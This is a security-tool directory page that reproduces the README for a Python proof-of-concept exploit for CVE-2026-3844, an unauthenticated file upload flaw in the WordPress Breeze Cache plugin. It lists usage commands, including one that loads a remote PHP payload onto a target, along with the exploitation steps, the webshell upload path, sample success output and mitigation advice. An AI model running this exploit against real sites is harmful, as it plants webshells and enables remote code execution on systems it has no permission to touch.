Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-3844 — Python proof-of-concept for CVE-2026-3844, an unauthenticated arbitrary file upload in WordPress Breeze Cache plugin, enabling remote code execution. Includes detection, exploitation, and webshell verification. | Kitploit
Tools/GitHubGitHub/sahmsec/cve-2026-3844
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubsahmsec/cve-2026-3844

CVE-2026-3844

Python proof-of-concept for CVE-2026-3844, an unauthenticated arbitrary file upload in WordPress Breeze Cache plugin, enabling remote code execution. Includes detection, exploitation, and webshell verification.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-3844 — WordPress Breeze Cache Unauthenticated File Upload

Overview

This repository contains a Python proof-of-concept (PoC) script for demonstrating an Unauthenticated Arbitrary File Upload vulnerability affecting the WordPress Breeze Cache plugin <= 2.4.4.

⚠️ This project is intended strictly for authorized security testing, educational research, and defensive validation purposes only.


Vulnerability Information

  • CVE ID: CVE-2026-3844
  • Affected Plugin: Breeze Cache for WordPress
  • Affected Versions: <= 2.4.4
  • Issue Type: Unauthenticated Arbitrary File Upload
  • Impact: Potential Remote Code Execution (RCE)
  • Attack Vector: Remote / Unauthenticated

The vulnerability abuses Breeze Cache gravatar caching functionality to store attacker-controlled files within the WordPress cache directory.


Features

  • Vulnerability detection mode
  • Automated exploitation workflow
  • Webshell verification support
  • Colored terminal output
  • Remote payload loading
  • Upload verification checks
  • Optional output logging

  • Requirements

    • Python 3.8+
    • pycurl
    • termcolor

    Install dependencies:

    root@kitploit:~
    pip install pycurl termcolor
    

    Files

    FileDescription
    CVE-2026-3844.pyMain PoC exploit script
    CVE-2026-3844.yamlYAML template/configuration

    Usage

    Check if Target Appears Vulnerable

    root@kitploit:~
    python3 CVE-2026-3844.py -u http://target.com --check-only
    

    Run Exploit

    root@kitploit:~
    python3 CVE-2026-3844.py -u http://target.com
    

    Custom Payload

    root@kitploit:~
    python3 CVE-2026-3844.py -u http://target.com -p https://example.com/payload.php
    

    Save Results

    root@kitploit:~
    python3 CVE-2026-3844.py -u http://target.com -o results.txt
    

    How It Works

    The script performs the following steps:

    1. Detects the installed Breeze Cache version
    2. Checks whether the plugin version is vulnerable
    3. Submits a crafted WordPress comment request
    4. Abuses Breeze cache gravatar handling
    5. Waits for cache generation
    6. Verifies whether the uploaded file becomes accessible
    7. Tests payload responsiveness

    Vulnerable Path

    The uploaded payload may become accessible from:

    root@kitploit:~
    /wp-content/cache/breeze-extra/gravatars/
    

    Notes

    Successful exploitation may depend on the following Breeze setting being enabled:

    root@kitploit:~
    Host Files Locally - Gravatars
    

    If the feature is disabled, exploitation attempts may fail.


    Example Output

    root@kitploit:~
    [+] Target VULNERABLE (Breeze v2.4.4)
    [+] Comment posted successfully
    [+] File found at: http://target.com/wp-content/cache/breeze-extra/gravatars/random.php
    [+] VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!
    

    Disclaimer

    This repository is provided for:

    • Security research
    • Educational purposes
    • Authorized penetration testing
    • Defensive security assessments

    Do not use this project against systems you do not own or have explicit permission to test.

    The author assumes no responsibility for misuse or damages caused by this project.


    Mitigation Recommendations

    Website administrators should:

    • Update Breeze Cache to the latest patched version
    • Disable unnecessary file caching features
    • Restrict dangerous file uploads
    • Disable PHP execution inside cache directories
    • Monitor /wp-content/cache/ for suspicious files
    • Deploy a Web Application Firewall (WAF)
    • Enforce strict server-side validation

    Educational Purpose Statement

    This proof-of-concept was created to help:

    • Security researchers
    • Penetration testers
    • Blue teams
    • WordPress administrators
    • Developers

    understand the security risks associated with insecure caching mechanisms and arbitrary file uploads.


    References

    • CVE Database
    • WordPress Security Advisories
    • OWASP File Upload Security Guidelines
    • Breeze Cache Plugin Documentation

    Author

    Security Research / Educational Project

    Download Tool